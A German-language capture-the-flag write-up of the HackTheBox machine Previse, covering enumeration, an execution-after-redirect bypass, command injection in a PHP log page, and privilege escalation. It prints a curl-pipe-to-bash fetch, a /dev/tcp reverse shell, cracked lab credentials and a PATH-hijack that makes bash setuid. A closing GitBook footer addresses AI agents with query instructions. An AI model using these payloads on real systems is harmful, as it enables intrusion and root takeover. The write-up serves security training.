> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md).

# Previse HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Previse mit Abdeckung von Web-Enumeration, Execution After Redirect (EAR)-Schwachstelle - Umgehen von Weiterleitungen, Analyse des PHP-Quellcodes, Command Injection (RCE), mit prakt

{% embed url="<https://app.hackthebox.com/machines/Previse>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Web-Enumeration
* Execution After Redirect (EAR)-Schwachstelle – Weiterleitungen umgehen
* Analyse des PHP-Quellcodes
* Befehlsinjektion (RCE)
* Informationsleck
* Datenbank-Enumeration
* Hashes knacken
* Ausnutzen von Sudoers-Rechten + PATH-Hijacking (Rechteausweitung)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ab76fd87dfc8c286d2e969a604d33b511bb7818%2F%7BFC9269CB-2D1E-46F4-8370-504AE252A1E3%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-482fd59584a948b111cd5210eccf0d966e55b767%2F%7BC89EC2B0-B6C0-4C4B-ACC1-ED9D83BF5513%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.104 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a125d5b59f74d3c7e17807385ec48c59e573083f%2F%7BC476CFCE-45CE-46A0-A17A-32CBC5275715%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Port-Versionsscan mit Nmap 22.80:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.11.104 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-486df0d41ec87ec14ee926fe0129583a10c44684%2F%7BFEE26871-2520-47A6-BE7B-AD85467BEE01%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

Wir finden eine Login-Seite, die einen Benutzernamen und ein Passwort verlangt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f2e541a8e0b97e1bf6421992b0a91822bb2bb37%2F%7BF19156B0-3E6B-4285-BCD0-055EA349DA4F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Fuzzing von PHP-Verzeichnissen und -Dateien**

Angesichts der Präsenz einer PHP-Datei ist es wahrscheinlich, dass es weitere gibt:

```bash
gobuster dir -u http://10.10.11.104/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

## **Verwundbarkeit EAR (Execution After Redirect) - Weiterleitungen überspringen**

Wir finden mehrere Seiten mit Inhalt, die aber zur Login-Seite weiterleiten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82f00fb122b191a104fc65f1b31f75c5e123371a%2F%7BDE9EB251-F497-4B5B-8B57-57F5F339AB9A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir fangen die Anfrage bei `nav.php` mit Burp Suite ab und beobachten eine 302-Weiterleitung.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e3b6cda10d20218616b14a16f710d911217df8e%2F%7B3FFCB145-3398-41F5-8E73-545514CC0E36%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Indem wir die Antwort auf `200 OK`, gehen wir direkt zu `accounts` Seite.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc010e5920792256f07365d94ffe7e83548d6c69%2F%7B9EFBABA3-3B7E-4293-A5D9-27D85800B3E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cafa324be52588a9ec4c5235a2af6e1bcdeb8e65%2Fimage%20(652).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir erstellen in Burp Suite eine Regel, um automatisch `302 Gefunden` Antworten in `200 OK`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d3c4318030f092dfd2e558143980dfe2c533889%2Fimage%20(654).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir erstellen dann einen Benutzer `jordan` und melden uns an.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b1f889a0b2c1119daccbea4136e629b40626e14e%2Fimage%20(655).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Analyse der wiederhergestellten Dateien**

Wir laden eine Datei herunter, die auf `/files`:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0a1d995e89a522c5e2dd09372c0bb9fab2484020%2Fimage%20(656).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
unzip siteBackup.zip
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77712ec0b532c42bff3c90052dc90802773ba6c6%2Fimage%20(657).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir finden mehrere PHP-Dateien und stellen fest, dass `logs.php` die `exec()` Funktion ohne jegliche Validierung verwendet:

```bash
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b482ce3d62bbf09b25db963e759ddb552cb5c93%2Fimage%20(659).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Ausnutzung von Command Injection (RCE)**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ad1b9c6c529802dec94d730ca30223166611ec4%2F%7BEBF128BE-7EE2-48A5-B5B0-F293CF9B9F65%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir fangen die Anfrage an `file_logs.php` und injizieren einen Befehl über das `delim` Parameter ist:

<pre class="language-bash"><code class="lang-bash"><strong>delim=comma;curl http://10.10.14.50
</strong></code></pre>

Wir erhalten eine Verbindung.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77752a111dbc97d93fcbb150756383609e37beec%2Fimage%20(660).png?alt=media" alt=""><figcaption></figcaption></figure>

### Umkehr-Shell

Wir erstellen eine `index.html` Datei mit folgendem Inhalt:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

Wir starten einen Python-Webserver:

```bash
python3 -m http.server 80
```

Wir lauschen auf unserem Rechner auf Port 443:

```bash
nc -nlvp 443
```

Wir führen den folgenden Befehl aus, um die Reverse Shell zu erhalten:

```bash
;curl http://10.10.14.50  | bash
```

Wir sind jetzt Benutzer `www-data`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2aa8517ae0240f1063c1db627f6fe46282341a0%2Fimage%20(661).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Verbesserung der Shell**

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### **Privilegieneskalation**

### Wechsel zu Benutzer m4lwhere

Wir finden eine Datei mit Zugangsdaten:

* $user : root
* $passwd : mySQL/\_p\@ssw0rd!:)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6045d3f001ab3d9314e0300c7be49c3afe9ab225%2Fimage%20(662).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir verbinden uns mit der MySQL-Datenbank:

```sql
mysql -u root -p
```

Wir listen die Datenbanken auf:

```sql
show databases;
```

Wir finden die Datenbank `previse`, die wir verwenden:

```sql
use previse;
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3967f88e12298d305b1ff0c57b637773a7b6f4d5%2F%7B94917894-50B8-4782-BF6D-1DD99247FE2E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir untersuchen die `accounts` Tabelle:

```sql
show tables;
describe accounts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6982a079ac877fb18ea72b3b7f4b337a124998ad%2Fimage%20(663).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir finden:

```sql
select username, password from accounts;
```

* username: m4lwhere
* password: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dc7ba61e218d6fc0574067791c7c7a85ceb0249%2Fimage%20(664).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **Hash-Knacken**

Wir verwenden Hashcat, um ihn zu entschlüsseln:

```bash
hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt
```

Passwort gefunden:

* password : ilovecody112235!

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f84ac24d207b236a976103908ca982f82a21b854%2Fimage%20(665).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir melden uns als `m4lwhere`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f146ffb8fc9b3c271dffddb6e57f77ebfc107688%2Fimage%20(666).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bffdc906aa75a578c43d73a0d933eca16fcd3c7%2F%7BCA605DAA-900C-4943-A489-532AAE7157AB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **PATH-Hijacking (gzip)**

Wir listen die sudo-Berechtigungen auf:

```bash
sudo -l
```

Wir finden ein als root ausführbares Skript, das `gzip` ohne absoluten Pfad verwendet.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-803a38118d428ceb6b3e2ba243fa89684001b646%2Fimage%20(667).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Erstellen einer schädlichen Binärdatei**

Wir erstellen ein bösartiges `gzip` Datei in `/tmp/`:

```bash
chmod 4777 /bin/bash
```

Wir ändern die `PATH` Variable, um zu priorisieren `/tmp/`:

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c50c2363e851b9081871d04eeba7670e8935eea%2Fimage%20(668).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir führen das Skript als Root aus:

```bash
sudo /opt/scripts/access_backup.sh
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0abfe4727c3e6362c49afe5d0f1d8ea504ae58c%2Fimage%20(669).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9287a85975dddca4e4dd20b02d5b000730539cb4%2Fimage%20(670).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a3c7e9ff2d8c16727aef3522fcebc0fbb2fc748c%2F%7B602D6D2C-0552-4E1F-8CC6-AE0C3846B2BF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
